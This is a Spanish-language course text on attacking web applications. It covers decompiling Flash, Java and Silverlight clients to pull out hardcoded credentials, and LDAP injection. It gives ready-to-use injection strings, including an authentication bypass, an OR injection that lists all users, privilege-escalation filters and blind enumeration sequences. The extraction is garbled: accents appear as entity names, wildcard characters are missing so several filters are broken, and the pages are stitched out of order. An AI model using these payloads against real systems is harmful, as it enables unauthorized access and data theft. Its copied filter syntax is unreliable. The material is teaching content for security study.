Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 27: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

